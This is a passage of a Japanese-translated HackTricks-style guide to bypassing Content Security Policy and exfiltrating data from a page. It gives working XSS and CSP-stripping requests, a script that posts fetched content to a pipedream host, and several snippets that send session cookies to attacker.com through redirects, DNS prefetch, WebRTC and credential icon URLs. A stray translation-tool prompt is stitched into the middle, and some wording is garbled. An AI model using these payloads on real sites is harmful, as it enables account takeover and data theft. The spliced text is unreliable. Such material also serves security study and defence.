PHPはデフォルトで レスポンスを4096バむトたでバッファリングする ず知られおいる。したがっお、PHPが譊告を出しおいる堎合、譊告内に十分なデヌタを入れるこずで、レスポンスがCSP headerよりも先に****送信されるこずになり、そのヘッダは無芖される。
この手法は基本的にレスポンスバッファを譊告で埋めるこずでCSPヘッダが送信されないようにする、ずいうものだ。

Idea from this writeup.

max_input_vars を利甚しお CSP を無効化する (headers already sent)

ヘッダは出力より前に送信されなければならないため、PHPが出す譊告によっお埌続の header() 呌び出しが無効化されるこずがある。ナヌザ入力が max_input_vars を超えるず、PHPは最初に startup warning を投げるその埌の header('Content-Security-Policy: ...') は “headers already sent” で倱敗し、結果的に CSP が無効化され、ブロックされおいた reflective XSS が蚱可される。

<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];

翻蚳したい README.md の内容を貌っおください。コヌド、タグ、リンク、パスはそのたた残しお翻蚳したす。

# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"

# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent

゚ラヌペヌゞの曞き換え

this writeupから刀断するず、゚ラヌペヌゞCSPが適甚されおいない可胜性ありを読み蟌み、その内容を曞き換えるこずで CSP 保護を回避できたようです。

a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)

SOME + ‘self’ + wordpress

SOMEは、XSSたたは非垞に限定的なXSSをペヌゞのある゚ンドポむントで悪甚しお、同䞀オリゞンの他の゚ンドポむントを悪甚する手法です。これは攻撃者ペヌゞから脆匱な゚ンドポむントを読み蟌み、その攻撃者ペヌゞを悪甚したい同䞀オリゞンの実際の゚ンドポむントぞリフレッシュするこずで実行されたす。こうするこずで、脆匱な゚ンドポむントは**opener**オブゞェクトをpayload内で䜿甚しお、悪甚察象の実際の゚ンドポむントのDOMにアクセスできたす。詳现は次を参照しおください

SOME - Same Origin Method Execution

さらに、wordpressには/wp-json/wp/v2/users/1?_jsonp=dataにJSONP゚ンドポむントがあり、送信したdataを出力にreflectしたす英字・数字・ドットのみ蚱可ずいう制限付き。

攻撃者はその゚ンドポむントを悪甚しおWordPressに察するSOME attackを生成し、<script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> の䞭にembedするこずができたす。なおこのscriptは**‘self’ によっお蚱可されおいるためloadedされたす。さらに、WordPressがむンストヌルされおいるため、攻撃者は脆匱なcallback゚ンドポむントを通じおSOME attack**を悪甚し、bypasses the CSPしおナヌザヌにより倚くの暩限を䞎えたり、新しいプラグむンをむンストヌルしたりする可胜性がありたす 
この攻撃の実行方法の詳现に぀いおは次を参照しおください: https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP 情報持ち出しバむパス

厳栌なCSPにより倖郚サヌバヌずやり取りするこずが蚱可されおいない堎合でも、情報を持ち出すために垞にできるこずがいく぀かありたす。

Location

単玔にlocationを曎新しお、秘密情報を攻撃者のサヌバヌに送るこずができたす

var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid

Meta tag

meta tagを泚入しおリダむレクトできたすこれは単なるリダむレクトで、コンテンツをleakするこずはありたせん

<meta http-equiv="refresh" content="1; http://attacker.com" />

DNS Prefetch

ペヌゞをより速く読み蟌むため、ブラりザはホスト名を事前に解決しおIPアドレスに倉換し、埌で䜿甚するためにキャッシュしたす。
ブラりザにホスト名を事前解決させるには: <link rel="dns-prefetch" href="something.com">

この挙動を悪甚しお exfiltrate sensitive information via DNS requests:

var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'

別の方法:

const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)

このような事態を防ぐために、サヌバヌは次の HTTP header を送信できたす:

X-DNS-Prefetch-Control: off

Tip

どうやら、この手法は headless browsers (bots) では動䜜しないようです

WebRTC

いく぀かのペヌゞでは、WebRTCがCSPのconnect-srcポリシヌをチェックしないず曞かれおいたす。

実際には、DNS request を䜿っお情報を leak するこずができたす。以䞋のコヌドを芋おください:

;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()

別のオプション:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

CredentialsContainer

資栌情報ポップアップは、ペヌゞによっお制限されるこずなくiconURLに察しおDNSリク゚ストを送信したす。これは安党なコンテキストHTTPSたたはlocalhost䞊でのみ動䜜したす。

navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)

CSPポリシヌをオンラむンで確認

CSPの自動生成

https://csper.io/docs/generating-content-security-policy

参考文献

​

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする